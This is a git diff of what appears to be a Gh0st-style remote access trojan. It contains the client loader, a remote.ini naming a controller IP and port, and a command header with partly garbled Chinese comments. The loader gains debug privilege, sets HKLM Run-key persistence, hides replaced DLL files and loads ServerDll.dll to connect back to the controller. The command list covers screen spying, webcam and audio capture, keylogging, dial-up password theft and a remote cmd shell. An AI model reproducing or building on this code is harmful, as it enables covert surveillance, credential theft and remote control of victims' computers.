#endif
/*-************************************
* Private definitions
**************************************
* Do not use these definitions.
* They are exposed to allow static allocation of `LZ4_stream_t` and `LZ4_streamDecode_t`.
* Using these definitions will expose code to API and/or ABI break in future versions of the library.
**************************************/
#define LZ4_HASHLOG (LZ4_MEMORY_USAGE-2)
#define LZ4_HASHTABLESIZE (1 << LZ4_MEMORY_USAGE)
#define LZ4_HASH_SIZE_U32 (1 << LZ4_HASHLOG) /* required as macro for static allocation */
#if defined(__cplusplus) || (defined (__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L) /* C99 */)
#include <stdint.h>
typedef struct LZ4_stream_t_internal LZ4_stream_t_internal;
struct LZ4_stream_t_internal {
uint32_t hashTable[LZ4_HASH_SIZE_U32];
uint32_t currentOffset;
uint16_t initCheck;
uint16_t tableType;
const uint8_t* dictionary;
const LZ4_stream_t_internal* dictCtx;
uint32_t dictSize;
};
typedef struct {
const uint8_t* externalDict;
size_t extDictSize;
const uint8_t* prefixEnd;
size_t prefixSize;
} LZ4_streamDecode_t_internal;
#else
typedef struct LZ4_stream_t_internal LZ4_stream_t_internal;
struct LZ4_stream_t_internal {
unsigned int hashTable[LZ4_HASH_SIZE_U32];
unsigned int currentOffset;
unsigned short initCheck;
unsigned short tableType;
const unsigned char* dictionary;
const LZ4_stream_t_internal* dictCtx;
unsigned int dictSize;
};
typedef struct {
const unsigned char* externalDict;
size_t extDictSize;
const unsigned char* prefixEnd;
size_t prefixSize;
} LZ4_streamDecode_t_internal;
#endif
/*!
* LZ4_stream_t :
* information structure to track an LZ4 stream.
* init this structure before first use.
* note : only use in association with static linking !
* this definition is not API/ABI safe,
* it may change in a future version !
*/
#define LZ4_STREAMSIZE_U64 ((1 << (LZ4_MEMORY_USAGE-3)) + 4)
#define LZ4_STREAMSIZE (LZ4_STREAMSIZE_U64 * sizeof(unsigned long long))
union LZ4_stream_u {
unsigned long long table[LZ4_STREAMSIZE_U64];
LZ4_stream_t_internal internal_donotuse;
} ; /* previously typedef'd to LZ4_stream_t */
/*!
* LZ4_streamDecode_t :
* information structure to track an LZ4 stream during decompression.
* init this structure using LZ4_setStreamDecode (or memset()) before first use
* note : only use in association with static linking !
* this definition is not API/ABI safe,
* and may change in a future version !
*/
#define LZ4_STREAMDECODESIZE_U64 4
#define LZ4_STREAMDECODESIZE (LZ4_STREAMDECODESIZE_U64 * sizeof(unsigned long long))
union LZ4_streamDecode_u {
unsigned long long table[LZ4_STREAMDECODESIZE_U64];
LZ4_streamDecode_t_internal internal_donotuse;
} ; /* previously typedef'd to LZ4_streamDecode_t */
/*-************************************
* Obsolete Functions
**************************************/
/*! Deprecation warnings
Should deprecation warnings be a problem,
it is generally possible to disable them,
typically with -Wno-deprecated-declarations for gcc
or _CRT_SECURE_NO_WARNINGS in Visual.
Otherwise, it's also possible to define LZ4_DISABLE_DEPRECATE_WARNINGS */
#ifdef LZ4_DISABLE_DEPRECATE_WARNINGS
# define LZ4_DEPRECATED(message) /* disable deprecation warnings */
#else
# define LZ4_GCC_VERSION (__GNUC__ * 100 + __GNUC_MINOR__)
# if defined (__cplusplus) && (__cplusplus >= 201402) /* C++14 or greater */
# define LZ4_DEPRECATED(message) [[deprecated(message)]]
# elif (LZ4_GCC_VERSION >= 405) || defined(__clang__)
# define LZ4_DEPRECATED(message) __attribute__((deprecated(message)))
# elif (LZ4_GCC_VERSION >= 301)
# define LZ4_DEPRECATED(message) __attribute__((deprecated))
# elif defined(_MSC_VER)
# define LZ4_DEPRECATED(message) __declspec(deprecated(message))
# else
# pragma message("WARNING: You need to implement LZ4_DEPRECATED for this compiler")
# define LZ4_DEPRECATED(message)
# endif
#endif /* LZ4_DISABLE_DEPRECATE_WARNINGS */
/* Obsolete compression functions */
LZ4_DEPRECATED("use LZ4_compress_default() instead") LZ4LIB_API int LZ4_compress (const char* source, char* dest, int sourceSize);
LZ4_DEPRECATED("use LZ4_compress_default() instead") LZ4LIB_API int LZ4_compress_limitedOutput (const char* source, char* dest, int sourceSize, int maxOutputSize);
LZ4_DEPRECATED("use LZ4_compress_fast_extState() instead") LZ4LIB_API int LZ4_compress_withState (void* state, const char* source, char* dest, int inputSize);
LZ4_DEPRECATED("use LZ4_compress_fast_extState() instead") LZ4LIB_API int LZ4_compress_limitedOutput_withState (void* state, const char* source, char* dest, int inputSize, int maxOutputSize);
LZ4_DEPRECATED("use LZ4_compress_fast_continue() instead") LZ4LIB_API int LZ4_compress_continue (LZ4_stream_t* LZ4_streamPtr, const char* source, char* dest, int inputSize);
LZ4_DEPRECATED("use LZ4_compress_fast_continue() instead") LZ4LIB_API int LZ4_compress_limitedOutput_continue (LZ4_stream_t* LZ4_streamPtr, const char* source, char* dest, int inputSize, int maxOutputSize);
/* Obsolete decompression functions */
LZ4_DEPRECATED("use LZ4_decompress_fast() instead") LZ4LIB_API int LZ4_uncompress (const char* source, char* dest, int outputSize);
LZ4_DEPRECATED("use LZ4_decompress_safe() instead") LZ4LIB_API int LZ4_uncompress_unknownOutputSize (const char* source, char* dest, int isize, int maxOutputSize);
/* Obsolete streaming functions; degraded functionality; do not use!
*
* In order to perform streaming compression, these functions depended on data
* that is no longer tracked in the state. They have been preserved as well as
* possible: using them will still produce a correct output. However, they don't
* actually retain any history between compression calls. The compression ratio
* achieved will therefore be no better than compressing each chunk
* independently.
*/
LZ4_DEPRECATED("Use LZ4_createStream() instead") LZ4LIB_API void* LZ4_create (char* inputBuffer);
LZ4_DEPRECATED("Use LZ4_createStream() instead") LZ4LIB_API int LZ4_sizeofStreamState(void);
LZ4_DEPRECATED("Use LZ4_resetStream() instead") LZ4LIB_API int LZ4_resetStreamState(void* state, char* inputBuffer);
LZ4_DEPRECATED("Use LZ4_saveDict() instead") LZ4LIB_API char* LZ4_slideInputBuffer (void* state);
/* Obsolete streaming decoding functions */
LZ4_DEPRECATED("use LZ4_decompress_safe_usingDict() instead") LZ4LIB_API int LZ4_decompress_safe_withPrefix64k (const char* src, char* dst, int compressedSize, int maxDstSize);
LZ4_DEPRECATED("use LZ4_decompress_fast_usingDict() instead") LZ4LIB_API int LZ4_decompress_fast_withPrefix64k (const char* src, char* dst, int originalSize);
#endif /* LZ4_H_2983827168210 */
#if defined (__cplusplus)
}
#endif

BIN
client/lz4/lz4.lib Normal file

Binary file not shown.

4
client/remote.ini Normal file
View File

@@ -0,0 +1,4 @@
# used by TestRun
[remote]
ip=192.168.104.250
port=6895

View File

@@ -1,16 +1,20 @@
//{{NO_DEPENDENCIES}} //{{NO_DEPENDENCIES}}
// Microsoft Developer Studio generated include file. // Microsoft Visual C++ <20><><EFBFBD>ɵİ<C9B5><C4B0><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
// Used by Script.rc // <EFBFBD><EFBFBD> Script.rc ʹ<><CAB9>
// //
#define IDD_DIALOG 101 #define IDD_DIALOG 101
#define IDR_WAVE 102 #define IDR_WAVE 102
#define IDI_ICON1 104
#define IDI_ICON_MAIN 104
#define IDI_ICON2 105
#define IDI_ICON_MSG 105
#define IDC_EDIT_MESSAGE 1000 #define IDC_EDIT_MESSAGE 1000
// Next default values for new objects // Next default values for new objects
// //
#ifdef APSTUDIO_INVOKED #ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS #ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 103 #define _APS_NEXT_RESOURCE_VALUE 106
#define _APS_NEXT_COMMAND_VALUE 40001 #define _APS_NEXT_COMMAND_VALUE 40001
#define _APS_NEXT_CONTROL_VALUE 1001 #define _APS_NEXT_CONTROL_VALUE 1001
#define _APS_NEXT_SYMED_VALUE 101 #define _APS_NEXT_SYMED_VALUE 101

View File

@@ -1,53 +1,208 @@
#include <windows.h> #include <windows.h>
#include <stdio.h> #include <stdio.h>
#include <iostream> #include <iostream>
#include <corecrt_io.h>
#include "common/commands.h"
// <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ
#define REG_NAME "a_ghost"
typedef void (*StopRun)(); typedef void (*StopRun)();
typedef bool (*IsStoped)(); typedef bool (*IsStoped)();
typedef BOOL (*IsExit)();
// ֹͣ<CDA3><D6B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // ֹͣ<CDA3><D6B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
StopRun stop = NULL; StopRun stop = NULL;
// <20>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>ֹͣ // <20>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>ֹͣ
IsStoped bStop = NULL; IsStoped bStop = NULL;
struct CONNECT_ADDRESS // <20>Ƿ<EFBFBD><C7B7>˳<EFBFBD><CBB3><EFBFBD><EFBFBD>ض<EFBFBD>
{ IsExit bExit = NULL;
DWORD dwFlag;
char szServerIP[MAX_PATH];
int iPort;
}g_ConnectAddress={0x1234567,"",0};
int main() BOOL status = 0;
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "", 0, CLIENT_TYPE_DLL };
//<2F><><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8>
void DebugPrivilege()
{ {
HANDLE hToken = NULL;
//<2F>򿪵<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>̵ķ<CCB5><C4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int hRet = OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&hToken);
if( hRet)
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
//ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD>޵<EFBFBD>LUID
LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD>Ȩ<EFBFBD><C8A8>
AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL);
CloseHandle(hToken);
}
}
/**
* @brief <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
* @param[in] *sPath ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
* @param[in] *sNmae ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
* @return <20><><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
* @details Win7 64λ<34><CEBB><EFBFBD><EFBFBD><EFBFBD>ϲ<EFBFBD><CFB2>Խ<EFBFBD><D4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>ڣ<EFBFBD>\n
* HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
* @note <20>״<EFBFBD><D7B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>Թ<EFBFBD><D4B9><EFBFBD>ԱȨ<D4B1><C8A8><EFBFBD><EFBFBD><EFBFBD>У<EFBFBD><D0A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EBBFAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
*/
BOOL SetSelfStart(const char *sPath, const char *sNmae)
{
DebugPrivilege();
// д<><D0B4><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
#define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"
// <20><>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
HKEY hKey = NULL;
LONG lRet = RegOpenKeyExA(HKEY_LOCAL_MACHINE, REGEDIT_PATH, 0, KEY_ALL_ACCESS, &hKey);
// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
if(lRet != ERROR_SUCCESS)
return FALSE;
lRet = RegSetValueExA(hKey, sNmae, 0, REG_SZ, (const BYTE*)sPath, strlen(sPath) + 1);
// <20>ر<EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>
RegCloseKey(hKey);
// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
return lRet == ERROR_SUCCESS;
}
BOOL CALLBACK callback(DWORD CtrlType)
{
if (CtrlType == CTRL_CLOSE_EVENT)
{
status = 1;
if(stop) stop();
while(1==status)
Sleep(20);
}
return TRUE;
}
// <20><><EFBFBD>г<EFBFBD><D0B3><EFBFBD>.
BOOL Run(const char* argv1, int argv2);
// @brief <20><><EFBFBD>ȶ<EFBFBD>ȡsettings.ini<6E><69><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>ȡIP<49>Ͷ˿<CDB6>.
// [settings]
// localIp=XXX
// ghost=6688
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ھʹ<DABE><CDB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>л<EFBFBD>ȡIP<49>Ͷ˿<CDB6>.
int main(int argc, const char *argv[])
{
if(!SetSelfStart(argv[0], REG_NAME))
{
std::cout<<"<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><EFBFBD><EFBFBD>ԱȨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n";
}
status = 0;
SetConsoleCtrlHandler(&callback, TRUE);
do {
BOOL ret = Run(argc > 1 ? argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()),
argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.ServerPort() == 0 ? 6543 : g_ConnectAddress.ServerPort()));
if (ret == 1) {
return -1;
}
} while (status == 0);
status = 0;
return -1;
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><D0B2><EFBFBD>: IP <20><> <20>˿<EFBFBD>.
BOOL Run(const char* argv1, int argv2) {
BOOL result = FALSE;
char path[_MAX_PATH], * p = path; char path[_MAX_PATH], * p = path;
GetModuleFileNameA(NULL, path, sizeof(path)); GetModuleFileNameA(NULL, path, sizeof(path));
while (*p) ++p; while (*p) ++p;
while ('\\' != *p) --p; while ('\\' != *p) --p;
*(p + 1) = 0;
std::string folder = path;
std::string oldFile = folder + "ServerDll.old";
std::string newFile = folder + "ServerDll.new";
strcpy(p + 1, "ServerDll.dll"); strcpy(p + 1, "ServerDll.dll");
BOOL ok = TRUE;
if (_access(newFile.c_str(), 0) != -1) {
if (_access(oldFile.c_str(), 0) != -1)
{
if (!DeleteFileA(oldFile.c_str()))
{
std::cerr << "Error deleting file. Error code: " << GetLastError() << std::endl;
ok = FALSE;
}
}
if (ok && !MoveFileA(path, oldFile.c_str())) {
std::cerr << "Error removing file. Error code: " << GetLastError() << std::endl;
ok = FALSE;
}else {
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>
if (SetFileAttributesA(oldFile.c_str(), FILE_ATTRIBUTE_HIDDEN))
{
std::cout << "File created and set to hidden: " << oldFile << std::endl;
}
}
if (ok && !MoveFileA(newFile.c_str(), path)) {
std::cerr << "Error removing file. Error code: " << GetLastError() << std::endl;
MoveFileA(oldFile.c_str(), path);// recover
}else if (ok){
std::cout << "Using new file: " << newFile << std::endl;
}
}
HMODULE hDll = LoadLibraryA(path); HMODULE hDll = LoadLibraryA(path);
typedef void (*TestRun)(char* strHost, int nPort); typedef void (*TestRun)(char* strHost, int nPort);
TestRun run = hDll ? TestRun(GetProcAddress(hDll, "TestRun")) : NULL; TestRun run = hDll ? TestRun(GetProcAddress(hDll, "TestRun")) : NULL;
stop = hDll ? StopRun(GetProcAddress(hDll, "StopRun")) : NULL; stop = hDll ? StopRun(GetProcAddress(hDll, "StopRun")) : NULL;
bStop = hDll ? IsStoped(GetProcAddress(hDll, "IsStoped")) : NULL; bStop = hDll ? IsStoped(GetProcAddress(hDll, "IsStoped")) : NULL;
bExit = hDll ? IsExit(GetProcAddress(hDll, "IsExit")) : NULL;
if (run) if (run)
{ {
char *ip = g_ConnectAddress.szServerIP; char ip[_MAX_PATH];
int &port = g_ConnectAddress.iPort; strcpy_s(ip, g_ConnectAddress.ServerIP());
if (0 == strlen(ip)) int port = g_ConnectAddress.ServerPort();
strcpy(p + 1, "settings.ini");
if (_access(path, 0) == -1) { // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: <20><><EFBFBD>ȴӲ<C8B4><D3B2><EFBFBD><EFBFBD><EFBFBD>ȡֵ<C8A1><D6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ǵ<EFBFBD>g_ConnectAddressȡֵ.
strcpy(ip, argv1);
port = argv2;
}
else {
GetPrivateProfileStringA("settings", "localIp", g_ConnectAddress.ServerIP(), ip, _MAX_PATH, path);
port = GetPrivateProfileIntA("settings", "ghost", g_ConnectAddress.ServerPort(), path);
}
printf("[server] %s:%d\n", ip, port);
do
{ {
strcpy(p+1, "remote.ini");
GetPrivateProfileStringA("remote", "ip", "127.0.0.1", ip, _MAX_PATH, path);
port = GetPrivateProfileIntA("remote", "port", 2356, path);
}
printf("[remote] %s:%d\n", ip, port);
run(ip, port); run(ip, port);
#ifdef _DEBUG while (bStop && !bStop() && 0 == status)
while(1){ char ch[64]; std::cin>>ch; if (ch[0]=='q'){ break; } } Sleep(20);
if (stop) stop(); } while (bExit && !bExit() && 0 == status);
while(bStop && !bStop()) Sleep(200);
#endif while (bStop && !bStop() && 1 == status)
Sleep(20);
if (bExit) {
result = bExit();
} }
return -1; if (!FreeLibrary(hDll)) {
printf("<EFBFBD>ͷŶ<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"ʧ<EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", GetLastError());
}
else {
printf("<EFBFBD>ͷŶ<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"<EFBFBD>ɹ<EFBFBD>!\n");
}
}
else {
printf("<EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"ʧ<EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", GetLastError());
Sleep(3000);
}
return result;
} }

BIN
client/zlib.lib Normal file

Binary file not shown.

1766
client/zstd/zstd.h Normal file

File diff suppressed because it is too large Load Diff

BIN
client/zstd/zstd.lib Normal file

Binary file not shown.

211
common/commands.h Normal file
View File

@@ -0,0 +1,211 @@
#pragma once
#include <vcruntime_string.h>
#include <string>
#include <vector>
#ifndef _MAX_PATH
#define _MAX_PATH 260
#endif
// <20><><EFBFBD><EFBFBD>2<EFBFBD><32><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB>Ψһ<CEA8><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɷ<EFBFBD><C9B7><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
#define FLAG_FINDEN 0x1234567
#define FLAG_GHOST 0x7654321
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Է<EFBFBD><D4B7><EFBFBD><EFBFBD>仯ʱ<E4BBAF><CAB1>Ӧ<EFBFBD>ø<EFBFBD><C3B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>Ա<EFBFBD><D4B1>Ա<EFBFBD><D4B1>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
#define DLL_VERSION "20241229" // DLL<4C>
#define TALK_DLG_MAXLEN 1024 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>
// <20><><EFBFBD><EFBFBD>ö<EFBFBD><C3B6><EFBFBD>б<EFBFBD>
enum
{
// <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ʽ
TRANSFER_MODE_NORMAL = 0x00, // һ<><D2BB>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ػ<EFBFBD><D8BB><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD>Ѿ<EFBFBD><D1BE>У<EFBFBD>ȡ<EFBFBD><C8A1>
TRANSFER_MODE_ADDITION, // ׷<><D7B7>
TRANSFER_MODE_ADDITION_ALL, // ȫ<><C8AB>׷<EFBFBD><D7B7>
TRANSFER_MODE_OVERWRITE, // <20><><EFBFBD><EFBFBD>
TRANSFER_MODE_OVERWRITE_ALL, // ȫ<><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TRANSFER_MODE_JUMP, // <20><><EFBFBD><EFBFBD>
TRANSFER_MODE_JUMP_ALL, // ȫ<><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TRANSFER_MODE_CANCEL, // ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// <20><><EFBFBD>ƶ˷<C6B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_ACTIVED = 0x00, // <20><><EFBFBD><EFBFBD><EFBFBD>˿<EFBFBD><CBBF>Լ<EFBFBD><D4BC>ʼ<EEBFAA><CABC><EFBFBD><EFBFBD>
COMMAND_LIST_DRIVE, // <20>г<EFBFBD><D0B3><EFBFBD><EFBFBD><EFBFBD>Ŀ¼
COMMAND_LIST_FILES, // <20>г<EFBFBD>Ŀ¼<C4BF>е<EFBFBD><D0B5>ļ<EFBFBD>
COMMAND_DOWN_FILES, // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
COMMAND_FILE_SIZE, // <20>ϴ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>С
COMMAND_FILE_DATA, // <20>ϴ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
COMMAND_EXCEPTION, // <20><><EFBFBD><EFBFBD><E4B7A2><EFBFBD><EFBFBD><ECB3A3><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD>´<EFBFBD><C2B4><EFBFBD>
COMMAND_CONTINUE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_STOP, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֹ
COMMAND_DELETE_FILE, // ɾ<><C9BE><EFBFBD>ļ<EFBFBD>
COMMAND_DELETE_DIRECTORY, // ɾ<><C9BE>Ŀ¼
COMMAND_SET_TRANSFER_MODE, // <20><><EFBFBD>ô<EFBFBD><C3B4>ʽ
COMMAND_CREATE_FOLDER, // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
COMMAND_RENAME_FILE, // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
COMMAND_OPEN_FILE_SHOW, // <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
COMMAND_OPEN_FILE_HIDE, // <20><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD>ļ<EFBFBD>
COMMAND_SCREEN_SPY, // <20><>Ļ<EFBFBD>
COMMAND_SCREEN_RESET, // <20>ı<EFBFBD><C4B1><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD>
COMMAND_ALGORITHM_RESET, // <20>ı<EFBFBD><C4B1>
COMMAND_SCREEN_CTRL_ALT_DEL, // <20><><EFBFBD><EFBFBD>Ctrl+Alt+Del
COMMAND_SCREEN_CONTROL, // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD>
COMMAND_SCREEN_BLOCK_INPUT, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˼<EFBFBD><CBBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_SCREEN_BLANK, // <20><><EFBFBD><EFBFBD><EFBFBD>˺<EFBFBD><CBBA><EFBFBD>
COMMAND_SCREEN_CAPTURE_LAYER, // <20><>׽<EFBFBD><D7BD>
COMMAND_SCREEN_GET_CLIPBOARD, // <20><>ȡԶ<C8A1>̼<EFBFBD><CCBC><EFBFBD><EFBFBD><EFBFBD>
COMMAND_SCREEN_SET_CLIPBOARD, // <20><><EFBFBD><EFBFBD>Զ<EFBFBD>̼<EFBFBD><CCBC><EFBFBD><EFBFBD><EFBFBD>
COMMAND_WEBCAM, // <20><><EFBFBD><EFBFBD>ͷ
COMMAND_WEBCAM_ENABLECOMPRESS, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>Ҫ<EFBFBD>󾭹<EFBFBD>H263ѹ<33><D1B9>
COMMAND_WEBCAM_DISABLECOMPRESS, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA>ԭʼ<D4AD><CABC><EFBFBD><EFBFBD>ģʽ
COMMAND_WEBCAM_RESIZE, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD>ֱ<EFBFBD><D6B1>ʣ<EFBFBD><CAA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>INT<4E>͵Ŀ<CDB5><C4BF><EFBFBD>
COMMAND_NEXT, // <20><>һ<EFBFBD><D2BB>(<28><><EFBFBD>ƶ<EFBFBD><C6B6>Ѿ<EFBFBD><D1BE>򿪶Ի<F2BFAAB6><D4BB><EFBFBD>)
COMMAND_KEYBOARD, // <20><><EFBFBD>̼<EFBFBD>¼
COMMAND_KEYBOARD_OFFLINE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߼<EFBFBD><DFBC>̼<EFBFBD>¼
COMMAND_KEYBOARD_CLEAR, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD>
COMMAND_AUDIO, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_SYSTEM, // ϵͳ<CFB5><CDB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̣<EFBFBD><CCA3><EFBFBD><EFBFBD><EFBFBD>....<2E><>
COMMAND_PSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
COMMAND_WSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
COMMAND_DIALUPASS, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_KILLPROCESS, // <20>رս<D8B1><D5BD><EFBFBD>
COMMAND_SHELL, // cmdshell
